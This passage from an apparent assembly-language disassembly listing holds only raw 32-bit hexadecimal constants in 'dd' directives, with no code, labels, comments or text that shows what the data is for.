		dd 72160848h, 585B3135h, 6F2A3B52h, 997C142Ah, 81F2B4A8h
		dd 0F069D316h, 121815C1h, 1D0C7BC7h, 6E9D0056h,	5241D1F7h
		dd 920FE7BAh, 3631ABC8h, 2F9F499h, 0F930393Ah, 0A501253Fh
		dd 72254C54h, 4F22A88Bh, 4F46B12Dh, 0E202C6C7h,	0E09A38BCh
		dd 0BA44516Ah, 44EA6B2Dh, 5B12F080h, 0ACF195F3h, 58A08953h
		dd 0DEF73E1Ah, 3751E683h, 0D6C30212h, 17B0F6C3h, 0F0B055A6h
		dd 6B182C0Ch, 2CA1838h,	294F9289h, 83805EF0h, 5AFC06BBh
		dd 51210507h, 0D0E34667h, 0CCDD92E9h, 3E7C940Ah, 75687F10h
		dd 22BF5937h, 843E4B80h, 6C65B47Ah, 183F257Ah, 0F4E8521h
		dd 9390D080h, 0A851CE87h, 52D7E99Ah, 0C1849484h, 8ECD83E8h
		dd 0EA02FD96h, 0D3820996h, 302E4089h, 0CE0180F5h, 0B2A575Ch
		dd 895FC32Dh, 0B2A90584h, 0E1501CC2h, 0D070F892h, 1609803h
		dd 68B83E5Eh, 815FFE29h, 4047DDA4h, 0D2905957h,	7B048E7h
		dd 6A7A62B5h, 764F25B3h, 0F080997h, 62D2E888h, 0D8F2C0F5h
		dd 0CB893513h, 0ED36690Ah, 0C5166F6Ah, 0ABF7C021h, 885BBBC3h
		dd 60FC330h, 0D8E9C0B6h, 0BD1E22DBh, 31535F6Ch,	58B07A90h
		dd 1323713h, 2144C511h,	6548E90Ch, 78F2D7F5h, 1C8248DEh
		dd 7E19589Dh, 86A8975h,	0D1801CFAh, 6B261EE8h, 68C12056h
		dd 4DA70764h, 3A406CEAh, 86275966h, 0CBF4AFD7h,	446C71F7h
		dd 89DDB0CFh, 28EE658h,	78BA4C07h, 92D782F7h, 166801D1h
		dd 57536377h, 48D84DF4h, 92D95C8Dh, 1C5B0A4Bh, 2930D332h
		dd 4D6221FEh, 1D538BCBh, 88CD717Dh, 311DDFC0h, 0FAD95B1Ch
		dd 0F5275F1Bh, 28BD6571h, 86FEB35Eh, 5755BF9h, 653206F1h
		dd 0D9EEC121h, 0E9198073h, 238DE52Ah, 59CE0B89h, 2511EC8Ah
		dd 0EC442E19h, 10D3D03h, 0B5DE6C90h, 0EF3BB8F2h, 5775468Ch
		dd 95EA9F0Ch, 0E9CA4750h, 0A0E36E2Fh, 0C61DC3C9h, 3519063h
		dd 603012Fh, 1C41F929h,	141CA008h, 304B3490h, 5576C38h
		dd 0E6447068h, 0CF920009h, 73F84D0Ch, 31E925h, 0CEB45046h
		dd 30E67AB1h, 0C5AF27DDh, 293D1359h, 74C99766h,	3980E1A4h
		dd 76F56BCAh, 2BEA24EEh, 834D1512h, 52592E7Eh, 0F35A4461h
		dd 30157B3Fh, 3CD1CE9h,	685DEA01h, 8887503Bh, 0C1298034h
		dd 0E42BA9B0h, 411A56Eh, 5E267D4Ch, 251C5E2h, 954E939h
		dd 0A72F64ECh, 6842A16Dh, 373B4845h, 0D11195B9h, 173AD417h
		dd 11F618C8h, 0FF9627E9h, 0C0E6B814h, 17396AC2h, 0A60CC014h
		dd 297D463Bh, 0E65AE9F8h, 245C6CC3h, 0C89A7970h, 504402CCh
		dd 98D440CFh, 71A40720h, 94C8D320h, 0F281502Fh,	0DF5F9B0Ch
		dd 8A81E7Ch, 317F7D88h,	70DE6225h, 833E20BBh, 0C140B28Ah
		dd 20506273h, 0F3C110D6h, 5FED8D0Fh, 7F64B6Eh, 126FC107h
		dd 7BE027D6h, 5D48E188h, 4037CB9Ah, 370CB4DEh, 0B204C4FEh
		dd 0F254C9E1h, 634D4092h, 2F9BAC0h, 0A7561F3Fh,	0F776EF48h
		dd 680AD8BBh, 14BFD050h, 17DEFEAh, 6A58666Bh, 0B8F6F35h
		dd 0B633C301h, 4AFB20F6h, 41DC5283h, 3C76F0B1h,	39CBF416h
		dd 45A54899h, 0CBD631DAh, 29CC2937h, 0B083F001h, 414E1F78h
		dd 806A1BAh, 4C8E25C6h,	222EEC64h, 565A1751h, 2EE9416Dh
		dd 94B078CDh, 528D117Bh, 6A05A82Fh, 0E87BA52Dh,	0BFBAF679h
		dd 9509AF20h, 0BDC10198h, 29657D1Ch, 0EEFC26Dh,	5428A508h
		dd 7A4C41ADh, 1031549h,	410AE07Dh, 28A82E04h, 0FDC6D156h
		dd 626FE65Fh, 3DF7981Ch, 0B1C29046h, 483C2BE9h,	0A42ABA93h
		dd 97124BD7h, 6640C2E9h, 0AD6D40DEh, 81D11E8Eh,	4496AD74h
		dd 0A0B0E948h, 0E507C097h, 0A4ED8004h, 2CA6F530h, 0E828054Bh
		dd 90D83AE9h, 42699C3Dh, 5F4025h, 578B0FFCh, 0FE92A8C6h
		dd 0A9BA974Dh, 0C60BED74h, 28B959F3h, 0CD2011Eh, 0BE563C09h
		dd 97F6FD32h, 64420A28h, 0E0F0CE80h, 80C2CF13h,	0E924DEF6h
		dd 0AF9AA9h, 0F9B25FCDh, 80EA4CD0h, 0C22F4758h,	0ED8C6EE8h
		dd 911CB5h, 53665DB4h, 0D7F6E788h, 4574E92Eh, 58C50183h
		dd 0E2940152h, 895BDC15h, 48C976F2h, 0B7B658B2h, 0F3EDCB3h
		dd 21BF617h, 0F08983A1h, 0DA17CF5Eh, 3CB2F9C9h,	0BA5D3478h
		dd 409EBC10h, 6862BDCh,	0E953B050h, 119F5719h, 517571DBh
		dd 0E9DB203Eh, 0ADB688D1h, 0BF118560h, 0D0F70018h, 0A1DAEA05h
		dd 735BE9AFh, 5B545181h, 431BD240h, 2D1C7D68h, 22E4C84Fh
		dd 0BC949DEh, 66971BBAh, 0F506CA07h, 1EB9FB34h,	0F49286F7h
		dd 0C036859h, 5E1FE649h, 4005A2C1h, 9FEC671Fh, 0F0F89914h
		dd 0F4C15D4Ah, 22A5BCAFh, 0E5C192A1h, 7C527007h, 434C6C13h
		dd 0A440B1Ch, 0B5C15145h, 537C2CE9h, 8A8BF02h, 584A10A1h
		dd 18DF860h, 791CCD3Bh,	143E6876h, 16F72C3Bh, 670B263Bh
		dd 716232AFh, 670C4D90h, 0F45C2492h, 1E840712h,	18C6E280h
		dd 31441782h, 5965C84Ch, 580FCBBBh, 66508B68h, 2B3C2773h
		dd 0C4F09BC4h, 399FCD9Ah, 0C8D83C4h, 0F13118E9h, 0A0016C3Bh
		dd 398059B7h, 0E79ACDEFh, 0EB820667h, 4E59FA56h, 0DB15BABCh
		dd 7F10608Bh, 26DC5027h, 8AAE3116h, 62B38BE0h, 2C08B3Fh
		dd 8A58D1C2h, 83E417B4h, 0CDD6B513h, 685564F0h,	92347427h
		dd 9FA6E64Ah, 8AA10190h, 3A9F90A6h, 403D5EA2h, 0CE4D3305h
		dd 0AA012924h, 0B25DCD0Bh, 0CE0F085Ch, 48759400h, 9EC80178h
		dd 642D60F0h, 4B0A363Bh, 705F029h, 8119513Eh, 68515E99h
		dd 0B038733Ah, 0D69C59F2h, 6C448725h, 0C7BE8860h, 8525AA2Bh
		dd 4EBD7B7Bh, 12020CD9h, 3421A556h, 0E9124FA6h,	0BDDD4135h
		dd 0E44BE497h, 0FB92DD01h, 77541709h, 9FF047h, 41404E25h
		dd 7DD30559h, 37209726h, 0B5352D81h, 8C31C916h,	5DE9CD18h
		dd 3586CDFh, 6358C0E2h,	92DDF63Bh, 0FCCC197Ch, 5FD2258Bh
		dd 75D0AA49h, 72DC2D34h, 88CD0D5Ah, 1625E5E5h, 6EDA762Fh
		dd 7032CED3h, 2A6C50D8h, 4FA567A4h, 0C77260D5h,	1D0423A2h
		dd 6F57E944h, 12DA11D0h, 2005679Fh, 2E99F310h, 363ECFB0h
		dd 0C6F7C30h, 9575689h,	0EFC14F23h, 0FBF72481h,	0A9C0C6FDh
		dd 7C995FFEh, 5B580BEAh, 0B4487068h, 78A160D4h,	0C1185AB9h
		dd 810705EAh, 50AEF2F2h, 97079516h, 0D5F68A82h,	0D9EF5EC9h
		dd 3255F4DFh, 0F4BBA09Dh, 0DC2AAD78h, 0A002050Ch, 0BF920079h
		dd 2D7B1224h, 8E22F603h, 0B8D8F755h, 17C6825Eh,	5C201D1h
		dd 4B3BE9E9h, 3F04ADECh, 0C2BDD7C5h, 0B3A91AF9h, 54A55D8Fh
		dd 92A9EC45h, 0AB70D9A5h, 0F40A0468h, 0F0E3E945h, 531AB16Eh
		dd 0D060D1F6h, 0C38113C3h, 0F9068D02h, 0BEDC500Ch, 371E28DAh
		dd 98CB4669h, 0C3585971h, 0A8CEB551h, 76E53420h, 4DB2255Ch
		dd 0A9896F51h, 7973B8B6h, 4217A0C0h, 4E6B9C59h,	0A08ED7DFh
		dd 6DD0BB37h, 0B2DD2ABFh
		dd 8069E0B6h, 9902FB00h, 0F5012C4Fh, 28082048h,	6C85335Eh
		dd 5C0D0631h, 3FF26818h, 8040A653h, 430D828h, 6649CCAAh
		dd 0E962FC68h, 0B8B37724h, 0ADD85CD7h, 5B708620h, 5166C800h
		dd 58043FB1h, 144E6E2Ch, 0FD783BDDh, 20C4C696h,	5A9FC1CDh
		dd 5154977Ah, 5D0FC8D0h, 4A586AC7h, 0FEA4D190h,	3CA09422h
		dd 0FC09A9E0h, 50D689B3h, 35CE02EFh, 0F301060Dh, 2708DE88h
		dd 6713B0A2h, 298B0F79h, 0C3BE957h, 0C4533870h,	13CD5A70h
		dd 0CB3E40A6h, 8E3D9FA4h, 0FB4FDE87h, 12416D26h, 12473A9Dh
		dd 0BFBB5C06h, 9883FC28h, 30195B6Bh, 4E7D6884h,	549E1B91h
		dd 59BB5380h, 0C0351870h, 3779A3A2h, 26B84B14h,	4149F306h
		dd 9EA763Ch, 0A9234805h, 565B3080h, 7FC0FDE9h, 55C3295Ch
		dd 3CAA70BDh, 0EB2453B3h, 7510088Fh, 83D6F701h,	0F3001C6h
		dd 0E3253E97h, 0EBF600F6h, 2D4E3D68h, 0C62C5FFAh, 7A0375Eh
		dd 500956F0h, 46DDD9E9h, 82C7F01Bh, 2E087548h, 0F668BC2h
		dd 9C0D49AFh, 24B5E3F7h, 44636826h, 81298429h, 6806FC3Fh
		dd 52BEC916h, 1EC17FBCh, 0C80CA357h, 800703CEh,	0C5330AF5h
		dd 106011Eh, 0EFE95266h, 65CA6341h, 9EF47BF6h, 1782B7D6h
		dd 9C0AD8AFh, 0CF60FA02h, 71C1E05Ch, 84EB4878h,	35545719h
		dd 7D282BF2h, 0D0212E5Dh, 0E4990981h, 4D1A5422h, 973E17F1h
		dd 0C8696D3Ah, 0D7B4AAFCh, 4B414938h, 5638062Ch, 0EC4832B6h
		dd 2EA73915h, 0D81266BFh, 8BF70E00h, 9A266A2Ah,	0C1DFF0FCh
		dd 0C06D1E16h, 38FB20C8h, 9863106h, 8286FD29h, 6C934108h
		dd 6556222Fh, 0BBC44AF2h, 500B1868h, 2A58E511h,	0ACB22F53h
		dd 4E12E912h, 2E7C102h,	0DAF71342h, 6EF1D293h, 0A0677BBBh
		dd 0FE0B0256h, 511D4064h, 100003B0h, 3509660Eh,	0C94F6755h
		dd 0F65AFA84h, 1712EF05h, 848023A0h, 6199575Fh,	0F0C3EC4Ah
		dd 281F6E6Eh, 4CBEE42Ch, 0CC090262h, 60CB29B8h,	89BCF83Ah
		dd 6E276A2Ch, 20DE48C3h, 33514F9h, 9F0410E2h, 0C7805058h
		dd 28747BFDh, 2D958948h, 0A8496733h, 49163006h,	2CDE051Dh
		dd 0D2F39ABFh, 6828D168h, 79FA09E4h, 55166159h,	9CB74988h
		dd 15F0543h, 774804D0h,	1089E357h, 55002E2Ah, 0B47D468h
		dd 4D055D3Fh, 33A18E0Fh, 2787CC8h, 4F5EB239h, 1041D7F7h
		dd 0A1167007h, 195A0814h, 769D1DA4h, 0FD09EC45h, 4B87F82h
		dd 0CC22AA87h, 0D892D479h, 839522E9h, 90CD24D1h, 39C0FEEEh
		dd 0E885D0F6h, 876E2C03h, 58163850h, 681A7CCAh,	0F24165ACh
		dd 7E71250Bh, 5E84C625h, 967629BEh, 2287FD9Ch, 59AC82C9h
		dd 65ABD648h, 211D974Bh, 41562877h, 0C82C9ED3h,	2628E975h
		dd 0C1E41EE5h, 0F22208D6h, 51386888h, 5D850968h, 964042E4h
		dd 12246F07h, 66032F7Ch, 0A92FEC24h, 309ECB63h,	8287D25Bh
		dd 95425493h, 584B20DEh, 48B70CEh, 84E936B8h, 0DC44B50Ch
		dd 88018C6h, 5490B2CFh,	9059957h, 0E7CB11EDh, 0EC27B784h
		dd 1590E92h, 0E33976CDh, 9E37EF20h, 17CB8573h, 1242C452h
		dd 10D8A98Bh, 8F4C7A92h, 27DED84h, 41F8295Dh, 300001FDh
		dd 801E59CAh, 2AF6F1EAh, 5E542CE8h, 0B3CEE490h,	10BF4851h
		dd 804E4D26h, 0F328EB2Ch, 18DF80Fh, 29F6E9DFh, 2C4B5C34h
		dd 0BF0F42D2h, 45DFE582h, 0B98C020Fh, 1910554Ch, 0C125CBD0h
		dd 9895F849h, 3CE6EE5Fh, 54B60F08h, 0F0C416D5h,	3DAA76F1h
		dd 0FC317A71h, 952F5AD7h, 5FC52078h, 0E3923DE9h, 1252502Fh
		dd 0F858CE39h, 197E60DCh, 540BC4EFh, 86473C3Bh,	0A25071E7h
		dd 35BC2D3Ch, 0BEA0F4EEh, 1E0D3C93h, 40EF2965h,	5E5D0802h
		dd 7A725ABBh, 1D21DF24h, 0ACA9EA92h, 0CF3A8C1Ah, 5267956h
		dd 0B0850F02h, 5E37804Fh, 9AFECE82h, 0A70C2F93h, 4EC261C6h
		dd 906ACCE9h, 2E4D0291h, 6765EFh, 641719FCh, 0D74F7CE9h
		dd 4AD6A941h, 6D214796h, 5ECB44C0h, 8010C102h, 5D290258h
		dd 0DB912509h, 0B4B1F35Eh, 9F2F2C7Fh, 545AC489h, 672260A8h
		dd 5D0B3AAEh, 2B1CF755h, 4CEA09DFh, 11A34C6h, 0E891B567h
		dd 3B977D14h, 0FA5D91Eh, 51270623h, 0F520549Eh,	0F0283730h
		dd 933FA443h, 5CB14AA7h, 2F767FE7h, 123B9165h, 94C584C1h
		dd 0FE7D833Bh, 0CCED3309h, 1FE57E20h, 220649EFh, 594AB4C6h
		dd 0ED4CAEF2h, 3E19070h, 0E1153168h, 0F2D8580Ch, 1A2F6D6Ch
		dd 14364057h, 8428C569h, 83ABC1C8h, 81E305B0h, 5689925Eh
		dd 0D759DC42h, 0D147E984h, 0F53E7EA9h, 0CBC8111Fh, 40CAE821h
		dd 38503A42h, 71099094h, 0C27282h, 6D197C24h, 7042C981h
		dd 0C1094901h, 0D8E908E1h, 170F9824h, 44C5CA8Bh, 320438Eh
		dd 0B7F83ADh, 5A5DB10Ch, 62F48EB2h, 5C68D2E0h, 2014560h
		dd 9DC65B08h, 179E5D53h, 4C8D0B3Fh, 0ECD2343Fh,	94D049D8h
		dd 1D5E10D0h, 9CCBB03h,	0DE024072h, 0D0A1A43h, 421FE221h
		dd 418B8764h, 4FC0E2h, 0B03DA67Ah, 5A4A297Eh, 0A0DC012h
		dd 74EAE77Eh, 44F13FEh,	0E32753BAh, 3C0700AAh, 0EAD13BB5h
		dd 5788120Fh, 942194D8h, 0C887B92Ah, 2E9413Ch, 8382043Ah
		dd 182D60D2h, 5682007Ah, 1F11CD81h, 339068BBh, 0F629474Fh
		dd 0A17C90F1h, 0F0860F04h, 92B0A4C8h, 43E12702h, 20C2CE9h
		dd 0AC825F57h, 0B6017B28h, 802A805Eh, 0EEC0D6DBh, 0C6090278h
		dd 0D1F1202Ah, 34646F1Fh, 3AD28930h, 0C855A592h, 9EE688D0h
		dd 0EE0B6EDEh, 582004h,	441A28BFh, 4D0158B9h, 0E373B112h
		dd 58660980h, 2A817218h, 7BA2AF03h, 9D4E95E8h, 6B7CE0A1h
		dd 2F553233h, 108DDB16h, 57C3F9Bh, 3EE27E9h, 5692AD59h
		dd 92D2BA0h, 39FE59D4h,	7201BF4h, 110BE2F8h, 965D5031h
		dd 0D4525080h, 43A02601h, 7887E25Bh, 12492500h,	80134AB9h
		dd 0A0E835BFh, 314AD0EEh, 2C0680C1h, 63CE8382h,	80C16A16h
		dd 5FD696C4h, 7E581323h, 0AE6F30A9h, 4E3FB91Ch,	0B001DE3Fh
		dd 665915B6h, 3EB50E51h, 5DEEE30h, 0B05E6C0h, 38BD3F2h
		dd 70290661h, 1458870Eh, 8BB8C04Fh, 9538AD20h, 0F381C201h
		dd 0D698D48Fh, 0D00FEAECh, 0FC22DA6Eh, 820A1E4h, 2D1E92Ch
		dd 0F7DF8783h, 59C9C9DBh, 4C5A8E3Ah, 0F1112582h, 0A10812E1h
		dd 4E59D0E8h, 5A417817h, 0ADFCA206h, 0B75300D2h, 0F6CFFE1Ch
		dd 0E748C0D7h, 1677759h, 0E9C28614h, 0AB1457B3h, 3F0CEEECh
		dd 0C100377h, 0F32017A8h, 6878024Ah, 78D4084Dh,	0E91C0F68h
		dd 666E8B27h, 1D1CA02Ah, 0C259C02Ah, 7D09392Bh,	8DCA0128h
		dd 0B8320883h, 82544104h, 0B27172EEh, 0BC20584Dh, 263C9086h
		dd 0DEA06DDAh, 0CD02FEEEh, 855B652h, 9D66C4F5h,	0D4BAEAC9h
		dd 6B138071h, 8E21D001h, 6B80744Bh, 0E45713F7h,	0FD048922h
		dd 5DE8015Fh, 91319B88h, 0B14B15B8h, 524ACE58h,	0EA460091h
		dd 4D799207h, 78800F09h, 0EED9051h, 7E22014Ch, 15BDD31h
		dd 0BF283BEBh, 4EE0B853h, 6189D74Eh, 0F23C320Dh, 0FC6135C1h
		dd 18D36B75h, 44E27405h, 66496B81h, 0CE45C23Bh,	1208D788h
		dd 7FEC3A59h, 6624C84Fh, 4A0144D8h, 3503E15Ch, 0E02D2AA6h
		dd 0B8BDC69Fh, 0E9255040h, 59980786h, 7CA7B870h, 253A0370h
		dd 4DEF684Ch, 1EF04FFAh, 1ED9012Ch, 0D4BAB22Dh,	72B45BE4h
		dd 619C5E5Ch, 48AB0F66h, 0AC697CCFh, 4CC8D95Eh,	597B57DCh
		dd 0E1E04F4Bh, 0EF1116ECh, 0C1740237h, 0C34807E3h, 78BC536Ah
		dd 0A08D369h, 254C0895h, 0B09F115Ah, 8170FBF8h,	0C9AA6057h
		dd 80BD99FCh, 207C686Dh
		dd 8D0F0D0Ch, 0F0490D06h, 9A2873FAh, 4703F057h,	89BA01CCh
		dd 8C5896CFh, 6DDA61CAh, 820EB8E9h, 2B9AF141h, 0C502C0A9h
		dd 4A9C9C39h, 434A3F2Ah, 0CE87EA88h, 0F6DA64D3h, 0C60730D2h
		dd 1F8850B0h, 7903DB4h,	955EF329h, 4C9EE746h, 0D804192h
		dd 6E492Dh, 0C4052628h,	5A298B45h, 5F1E4BECh, 0F1C03E4Ch
		dd 0E936A91Dh, 0F03BF2Fh, 72E6EEC1h, 5542610Ch,	60C3Ah
		dd 465B9D43h, 3BCCBF57h, 5790B07Eh, 246C660Eh, 1DE7C160h
		dd 0F12B9061h, 0EEF60480h, 73C8108h, 25DA8952h,	1424C2D6h
		dd 33BD82C6h, 7810FA87h, 0E2BB0387h, 556ADF29h,	9CFE0CDAh
		dd 7E3E1B25h, 2764E0Dh,	75ED80B8h, 52D1CB41h, 6A62C291h
		dd 68841D5Eh, 8ED83798h, 9A1A032Dh, 65E94704h, 0D901CBEh
		dd 21E47C25h, 0C67E2B8Fh, 256C59E6h, 4E03C664h,	810B2206h
		dd 0A155B8CFh, 878BA07Eh, 29AF0A47h, 10C8FA31h,	4F5E5B61h
		dd 0D9BA074Bh, 25253C35h, 0CE81F000h, 34E17A9h,	58FB1AB1h
		dd 8B454BB1h, 868C253Ah, 53B25946h, 602D1AB2h, 345C4D2Ch
		dd 538EE0Eh, 0A3024B2Dh, 2821D6DDh, 4050BEDh, 10657C59h
		dd 0C3C21AF2h, 4C3A149Ch, 2331325Fh, 0C8252E52h, 1D00D77Dh
		dd 8F44D80Dh, 1D770516h, 40137927h, 0CDE77393h,	5560C0E9h
		dd 0D1C20940h, 0BA6815E2h, 2A178622h, 6997E747h, 460C7EA5h
		dd 0FA5A2D5Ah, 67FBAFC4h, 4214C249h, 0BD092972h, 45B354h
		dd 0A746DCBFh, 0BE560259h, 15FC16B1h, 4998DB60h, 0CC07CE0h
		dd 8607DAF6h, 5EF22401h, 370C3B12h, 5DB83A72h, 3C096082h
		dd 4F6D0554h, 88FC8F0Fh, 3A02F162h, 0E9039C37h,	9FDD253h
		dd 0B24393C7h, 0AEFA500h, 4018774Ah, 0D3A2D7F7h, 3D840550h
		dd 0F9F596E9h, 28F41C7Ch, 0B09D66DFh, 9F2DBFh, 0D1B3BAC0h
		dd 826F5F29h, 0E362316Dh, 653BCCFCh, 8E048F32h,	5C09A9B8h
		dd 0C288B454h, 0E0011325h, 4B184AD6h, 0E50C55D7h, 6D872669h
		dd 23CC0786h, 3366EFDAh, 5D3B3228h, 0F66C9657h,	0CC02554Fh
		dd 95536188h, 0E6B0A18h, 37621BB6h, 0F85B051Dh,	7FC1A4FAh
		dd 0B07CA965h, 0AB05E4E7h, 5FFB8741h, 0DCE9DE29h, 0E29F137Eh
		dd 0FD096C6h, 58215A5Eh, 0C1B09AF0h, 95A00AE8h,	0CB2C8793h
		dd 0F78C6751h, 7B590BD6h, 0E95B0C53h, 0C569E8D5h, 71C66205h
		dd 66C089A0h, 0A1E1C149h, 0B6BCAF0h, 0E71258B5h, 44253352h
		dd 69D86E4Bh, 52AA2D6Bh, 1FAE0AB3h, 92214913h, 0E8685752h
		dd 170C6C0Ah, 8BBFE0E9h, 65FB0FC6h, 70692A60h, 12A21270h
		dd 0ECE1FD96h, 774B51E9h, 4507E927h, 0A9C47314h, 0C1204FB9h
		dd 0EC227E27h, 58C33ECFh, 47A89717h, 8359CD14h,	515B15A3h
		dd 90023CE0h, 54EF0299h, 5B42820Ch, 4625765Ch, 0BC09808h
		dd 11EB3852h, 0DBC389C2h, 58B31BD8h, 89C2895h, 17130C34h
		dd 95C7F21h, 4E132E72h,	824637A8h, 315761BBh, 49305ED6h
		dd 0F35100E7h, 0AE1D0514h, 105EB0Ch, 836858C6h,	78E90DD0h
		dd 0C2ACA9CAh, 12872AF4h, 12D729FBh, 0B2F7173Dh, 6170749h
		dd 0D6C2448Dh, 9D866CB3h, 33129165h, 0B872A0h, 55511047h
		dd 28523705h, 0A1292D7Fh, 0F9028B38h, 604F5D6Ah, 27737D26h
		dd 87F07229h, 3E18E171h, 620C4718h, 4DAA2463h, 25FF02D3h
		dd 0BA4023D0h, 2A1676B4h, 26094321h, 0EE08F0DBh, 0B27330E9h
		dd 1B35C6DBh, 6DDE4C26h, 207FEF03h, 0F87E0164h,	0E93EDB24h
		dd 3E596C18h, 45582450h, 0F70DCAA6h, 0D56046ABh, 46D513EBh
		dd 0F3880FFEh, 0F2FDF920h, 0FAA2D831h, 3BC5178Bh, 0CAAE927h
		dd 0A770DE51h, 33E90F03h, 0DEC35178h, 5FD5325Eh, 0CCBCA6D5h
		dd 0BEAC513Fh, 68ABAD3Eh, 3FDDBD11h, 8059EA01h,	63C2A1C6h
		dd 65C97FEh, 27A9915Eh,	2115047h, 0BDECE909h, 0B9400574h
		dd 9040F9C9h, 0CC792FCEh, 7958E42Bh, 0B301142h,	147168CBh
		dd 0D044A225h, 0D13FFB39h, 0ADB786BDh, 0ECA32F0Ch, 4C575138h
		dd 3B20C550h, 18AD544Dh, 0EA9F6810h, 0B5611F69h, 17386462h
		dd 6A5989A6h, 0E2F6E716h, 7C11B14Bh, 7BE90F2Eh,	6466375Eh
		dd 890C81F0h, 28C4042Bh, 7B62BF2Eh, 82625421h, 35FC6802h
		dd 8253B27Eh, 601A56E3h, 6BB7A04h, 4E60B499h, 96C243E9h
		dd 7E217103h, 563082Dh,	0E6731516h, 756882C2h, 69E57E34h
		dd 44213530h, 0E9121CE0h, 1BED41C9h, 2830C8D7h,	9693D34Ah
		dd 0C947A979h, 0FA346AEDh, 28B62768h, 12980B59h, 5D8E0F95h
		dd 81003F4Ah, 6D633DE3h, 0E14EE97Dh, 0A2121C12h, 56C2C0EDh
		dd 71507AE9h, 3C94BE3Bh, 7C3B585Bh, 0BE1F3B26h,	548BF5E8h
		dd 0E75D74EAh, 275EAB83h, 0E9617726h, 80562BDBh, 5EA5B5A8h
		dd 0C46BA8C1h, 0ECB05859h, 2B84350h, 0CE4DE2EEh, 0E9906060h
		dd 88AF4809h, 0A19868C5h, 81D92F68h, 0CAB3A281h, 0CD5BDC88h
		dd 7ADA2BE5h, 5478B4Ah,	30B8C580h, 9359F8B4h, 5FE62D05h
		dd 0FB2D7C37h, 81C00164h, 16BA1BC5h, 0CD1F70Fh,	0CDD205C4h
		dd 6C52601Eh, 7E2DD0C0h, 0B40BB396h, 0CF890554h, 0D88FF059h
		dd 0E932E4F1h, 0CCD9ED2Fh, 1CA720CCh, 9678B8B0h, 23F1CF30h
		dd 3B5CF651h, 59000124h, 0F580C5FEh, 0E8492856h, 733C9C30h
		dd 480AEB52h, 0A0B42D0Ah, 1977CA74h, 4E7DB053h,	9D1121CFh
		dd 634A0203h, 3E10E801h, 0D7892C74h, 122A10CFh,	0D109215Ch
		dd 1BCC58FEh, 9EA3E780h, 20740DD2h, 0FAFAE29h, 1523A437h
		dd 6820520Fh, 1F631019h, 0ADF0B9A3h, 6C605F3Ch,	0A8088C0Ch
		dd 0F4B1A245h, 0B05A1319h, 0C87B216Bh, 2109164Eh, 0E8885866h
		dd 41863C68h, 0CD118937h, 0D233F1CEh, 0F9E30893h, 6CF0628h
		dd 384E7990h, 6452AC87h, 0EF90A1A4h, 18A57EB9h,	6820EE50h
		dd 852D021Bh, 29F851F2h, 210B4DE8h, 0F2C36697h,	681940CCh
		dd 201BDB26h, 17735969h, 0BF2D806Bh, 1E2E5725h,	917E17Eh
		dd 0BEE2F8A3h, 5CF61C4Ah, 63A0EAC4h, 97D8EC5Fh,	9382090Bh
		dd 760BA3F5h, 6228799Ch, 2BE0302Bh, 12EED15Eh, 52CD840Fh
		dd 437A10Bh, 596A92CDh,	8BAFC5D1h, 0FA09FF02h, 44C95F22h
		dd 2C3E901h, 54166433h,	3FED0B5Ah, 0CCF3A662h, 8B02C126h
		dd 400A7107h, 3B7E6143h, 0CA026458h, 1F01218Ch,	27D08E77h
		dd 858940E6h, 6C90F360h, 2F5420BFh, 7FC2B8E1h, 0CA8E16FCh
		dd 0D8882BE8h, 0C3414A23h, 0C7F05FACh, 75286266h, 12C0F7FAh
		dd 0AE1BBEEBh, 5ADDF2A2h, 66E147E9h, 81C8D40Fh,	0F47F4D3Ah
		dd 0BABF52EBh, 5FB60694h, 5B259531h, 26AA5436h,	5073A07Bh
		dd 45CB0735h, 0D346F281h, 0F2093A82h, 5E2F027h,	4BD1A57Bh
		dd 0ACDDEF31h, 7E709868h, 0B86FD2EBh, 590E129Eh, 902972C8h
		dd 731F205Bh, 25F261B5h, 98F0F00h, 8A09097h, 7F910758h
		dd 1FE9315Dh, 355F4358h, 0F41B800Fh, 0A8B48633h, 6E082DBFh
		dd 0CAC121EEh, 3F4F76E7h, 7FCECC40h, 0C303BD0Ch, 0C480A2B9h
		dd 0AA9D49E9h, 12889D48h, 400D1E16h, 351E7A47h,	562422B8h
		dd 0FF020710h, 7D2A4829h, 15EEEE85h, 464EB408h,	0B12D38E3h
		dd 5B5852ECh, 1EAF81C0h, 942047A5h, 0F3D1A869h,	59330E55h
		dd 19E90F70h, 0DBF73660h, 0EC7980F0h, 0C5883FC0h, 2E6864B4h
		dd 6D407510h, 518C2E72h, 6FE601BAh, 0E28102C8h,	61CEE449h
		dd 3950F6C7h, 97E92381h, 0B1A8FC54h, 55C6B44Fh,	3CF0B698h
		dd 6B31AC81h, 0F35B3F78h, 0B3677BC8h, 31645217h, 764CD9BCh
		dd 35D7FE98h, 0B03BB180h, 20E02617h, 20CB13CDh,	46FC6F5h
		dd 0C0E0830h, 142D3E23h
		dd 0AAEE0170h, 1B600841h, 58EBD868h, 0C19E3898h, 663D7B8Bh
		dd 903592B8h, 0F35D2DF6h, 0F027E1E5h, 6FDB333h,	0D30BE768h
		dd 0B6F1754Bh, 9A3FA475h, 0EE6262DAh, 0E908F0h,	2E3C3F69h
		dd 3AFACE29h, 5A4B7F9Ah, 0F8C62BD8h, 0C1C6B818h, 0B25F4134h
		dd 4E590328h, 4EB5B2F6h, 5D36FA82h, 0AEBDE3A4h,	0F7C7D956h
		dd 647DE7E7h, 9E303016h, 0CFC781D9h, 2E759A8Ah,	585EF182h
		dd 0B6C79776h, 1F6B232h, 2B7B9D68h, 15128534h, 0B92E49A8h
		dd 3E8261EBh, 8C5820BEh, 798FD769h, 20FA6B29h, 8B13EF95h
		dd 0EF44BAE6h, 4F026802h, 805D7E15h, 93723A97h,	0F49056Ah
		dd 0AFCFD088h, 0BF7D302Ch, 305CDA0Bh, 2DF662Dh,	123F8416h
		dd 4E42F101h, 290A7B56h, 0A80288CBh, 513EE050h,	616841C4h
		dd 5A282E3Dh, 0CB6BEF8Bh, 84AA484Bh, 5B02CEBAh,	0DF4B8568h
		dd 284C5FD9h, 251C964h,	4617479Fh, 10062070h, 0C0B666B5h
		dd 0A5F35C0Dh, 384A6203h, 814E56CAh, 0F31F4A62h, 401BD409h
		dd 0E93E8F13h, 41A67EFAh, 0C508D7BAh, 82328268h, 621F9103h
		dd 35EB0035h, 0C0490928h, 0FFE0A142h, 0E7BC2927h, 613E42h
		dd 0E150042Dh, 8956430Eh, 0EBF34FC6h, 543C41FAh, 5939F930h
		dd 2D84CD57h, 8977B3EAh, 9D87E651h, 0CB0195C0h,	0D0691294h
